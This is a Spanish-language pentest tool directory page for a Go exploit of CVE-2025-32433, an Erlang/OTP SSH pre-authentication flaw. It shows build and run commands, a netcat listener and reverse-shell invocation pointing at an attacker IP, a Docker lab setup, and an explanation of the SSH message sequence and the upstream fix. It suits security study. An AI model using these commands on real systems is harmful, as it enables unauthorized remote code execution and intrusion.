Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-32433-Remote-Shell — Exploit basado en Go para CVE-2025-32433 | Kitploit
Herramientas/GitHubGitHub/meloppeitreet/cve-2025-32433-remote-shell
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónShellcodePruebas de PenetraciónHerramienta de Acceso Remoto
GitHubmeloppeitreet/cve-2025-32433-remote-shell

CVE-2025-32433-Remote-Shell

Exploit basado en Go para CVE-2025-32433

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 1 añoAún no revisado

CVE-2025-32433 Shell Remota

Exploit basado en Go para CVE-2025-32433 que devuelve una shell bash remota.

Muy inspirado en el entendimiento del exploit derivado del PoC de ProDefense para CVE-2025-32433.

Ejecutando el Exploit

root@kitploit:~
make

exploit.exe también está disponible para máquinas Windows gracias al Makefile de compilación cruzada.

luego ejecuta el binario del exploit de una de estas 2 formas:

Comando

root@kitploit:~
./exploit <target-ip> <target-port> "<command>"

NOTA: no devuelve la salida del comando

Shell Inversa

root@kitploit:~
nc -lnvp <attacker-port>
root@kitploit:~
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>

Configurando el Entorno

Usando el Dockerfile de ProDefense, puedes configurar un entorno mediante lo siguiente:

root@kitploit:~
docker build -t "cve-2025-32433:Dockerfile" .
root@kitploit:~
docker run -p 2222:2222 cve-2025-32433:Dockerfile

Luego puedes ejecutar el exploit como se indica en la sección Ejecutando el Exploit, por ejemplo:

root@kitploit:~
nc -lnvp 4444
root@kitploit:~
./exploit 127.0.0.1 2222 172.17.0.1 4444

172.17.0.1 es la IP predeterminada del Host Docker

Explicación del Exploit

TL;DR "El problema se debe a una falla en el manejo de mensajes del protocolo SSH que permite a un atacante enviar mensajes de protocolo de conexión antes de la autenticación,"

Procedimiento Típico de SSH:

root@kitploit:~
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT (key exchange)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST

Procedimiento del Exploit:

  1. Conexión TCP a la víctima
  2. Intercambio de banner SSH
  3. SSH_MSG_KEXINIT
  4. SSH_MSG_CHANNEL_OPEN (Pre-autenticación)
  5. SSH_MSG_CHANNEL_REQUEST (Pre-autenticación) --> contiene la carga útil del comando

Observa que toda la parte de USERAUTH se omite en el exploit.

Resumen de Mensajes

RFC relevantes para los mensajes SSH:

  • RFC 4253: The Secure Shell (SSH) Transport Layer Protocol
  • RFC 4254: The Secure Shell (SSH) Connection Protocol

Números de Mensaje

Números de mensaje en el Protocolo de Capa de Transporte SSH

Números de mensaje en el Protocolo de Conexión SSH

Formatos de Mensaje

SSH_MSG_KEXINIT

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

SSH_MSG_CHANNEL_REQUEST

Otros Requisitos

Formato de Cadena (del RFC 4251: The Secure Shell (SSH) Protocol Architecture)

Cadena

Relleno

Relleno

Entendiendo la Corrección y el Exploit

Lo siguiente es la corrección introducida en las Bibliotecas Erlang OTP en el commit ssh: early RCE fix:

handle_msg

La corrección introduce una nueva cláusula handle_msg que, según sus argumentos, captura:

  • Msg: variable comodín para cualquier mensaje SSH entrante que no haya sido ya cubierto por cláusulas anteriores (como #ssh_msg_disconnect{})
  • #ssh{authenticated = false}: estado de sesión que coincide si la conexión aún no ha sido autenticada.

La cláusula no capturará sesiones con authenticated = true, que se adjunta a la sesión cuando el servidor recibe un #ssh_msg_userauth_success{}:

authenticated = true

que se envía después del éxito de cualquiera de los siguientes métodos de autenticación:

métodos de autenticación que envían #ssh_msg_userauth_success{}

Descargar herramienta